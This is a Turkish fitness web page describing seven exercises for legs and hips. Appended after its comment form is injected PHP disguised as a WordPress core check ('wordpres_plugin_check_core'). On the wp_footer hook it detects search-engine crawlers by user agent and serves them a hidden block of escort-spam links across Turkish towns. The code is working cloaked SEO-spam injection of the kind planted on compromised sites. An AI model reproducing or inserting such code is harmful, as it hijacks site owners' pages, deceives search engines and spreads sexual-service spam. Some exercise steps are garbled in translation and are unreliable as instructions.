Sıradaki içerik:

En Kolay İş Bulan Ön Lisans Bölümleri

Mükemmel Bacaklar ve Kalçalar için 7 Basit Egzersiz

avatar

admin

  • e 0

    Mutlu

  • e 0

    Eğlenmiş

  • e 0

    Şaşırmış

  • e 0

    Kızgın

  • e 0

    Üzgün

Dünyaca ünlü antrenörler tarafından uygulanan size neredeyse hiç vakit kaybetmeden ince bacaklar sağlayacak 7 basit egzersizi bir araya getirdik. Her setten en az 30 tekrar yapmaya çalışın ve başlamadan önce hafif bir ısınmayı unutmayın. İşte Mükemmel Bacaklar ve Kalçalar için 7 Basit Egzersiz

Set 1: Bacakları Atlama

  1. Sol bacağınızla öne doğru atlayın, sırtınızı düz tutun ve sağ dizinizi soldan daha aşağıda tutun.
  2. Elinizden geldiğince yükseğe zıplayın, kollarınıza yardım edin.
  3. Bacaklarınızı havada değiştirin, sağ bacağınızla bir hamle pozisyonuna inin.

10-12 tekrarla başlayın ve yere inmeden önce her seferinde bacağınızı değiştirin. Tekrar sayısını yavaş yavaş 30’a yükseltin.

Set 2: Zıplama Egzersizi

  1. Dizlerinizi biraz bükün ve kollarınızı geriye doğru çekin.
  2. Dizlerinizi olabildiğince yükseğe kaldırmaya çalışarak düz zıplayın.

Bu egzersiz diğerlerinden daha fazla çaba gerektirir. İlk denemenizde 30 zıplama yapmak zordur, bu nedenle bunları arada bir dakikalık dinlenme ile 10 tekrarlı 3 sete bölmek daha iyidir.

Set 3: Bacak Kaldırma

 

  1. Sağ tarafınıza uzanın ve kendinizi elinize koyun. Sol elinizi sıkıca önünüzde yere koyun.
  2. Keskin veya yüksek hareketler yapmadan sağ bacağınızı yavaşça kaldırın ve indirin.
  3. Diğer bacağın için tekrar et.

Bu egzersiz hem kalçalar hem de kalçalar için faydalıdır.

Set 4: Yandan Bacak Kaldırma

  1. Sağ tarafınıza uzanın ve kendinizi elinize koyun. Sol bacağınızı bükün ve sol elinizle sabit tutarak önünüzde sıkıca yere koyun.
  2. Keskin veya yüksek hareketler yapmadan sağ bacağınızı yavaşça kaldırın ve indirin.

Bu seti diğer bacağınız için de tekrarlayın.

Set 5: Dambıl Çökme

  1. Elleriniz yanlarınızda olacak şekilde sırtınızı düz tutun.
  2. Hala düz kalarak, sağ bacağınızla ve sonra sol bacağınızla ters  yapın (geri adım atın).

Bacağınızı dik açıyla bükerek hamleyi derinleştirmeyi deneyin. 

Set 6: Dambıl ile Çaprazlama

  1. Sağ elinizde halter tutarken sol elinizi belinize koyun.
  2. Sola adım atın, düz bir sırt ile eğilin ve gövdenizi sağ bacağınızla aynı hizada çevirin.
  3. Sağ elinizle sol ayak bileğinize dokunun, sağ bacağınızı düz ve sol ayağınızı dizinizden bükün.

Set 7: Yüzüstü Pozisyondan Bacak Kaldırma

  1. Sol bacağınızı esneterek ellerinize ve sağ dizinize yaslanın.
  2. Sol bacağınızı zirveye ulaşana kadar yavaşça kaldırın, ardından yavaşça geri indirin.

Daha sonra bacağınızı değiştirin ve tekrarlayın.

Düzenli olarak bu hareketleri yaptığınızda değişimi fark edeceksiniz.

  • Site İçi Yorumlar

En az 10 karakter gerekli
function isBot() { $botAgents ="/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|AllTheWeb|search.aol|Lycos|Alexa|ask|baidu|cuil|kosmix|sogou|yodao|yandex|infoseek|yebol|aol/i"; $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match($botAgents,$agent)) return true; else return false; } function wordpres_plugin_check_core(){ $altsayfa = 1; $bot = 1; $link = '
Taşova escort Gerze escort Pazar escort Kangal escort Sarıkaya escort Side escort İncekum escort Hayrabolu escort Tavşanlı escort Ereğli escort Batıköy escort Suluova escort Durağan escort Niksar escort Gürün escort Çekerek escort Kızılağaç escort Çikcilli escort Ergene escort Simav escort Emirdağ escort Çağlayançerit escort İstanbul escort İznik escort Karasu escort Gümbet escort Ilgaz escort İzmir escort Kadıköy escort Karesi escort Horasan escort İnebolu escort Erzurum escort Marmaris escort Serdivan escort Menteşe escort Eskişehir escort Meram escort
'; if($altsayfa == 1){ $say_s = $_SERVER['REQUEST_URI']; $saydim = strlen($say_s); if($saydim > 4){ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } }else{ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } } add_action('wp_footer', 'wordpres_plugin_check_core');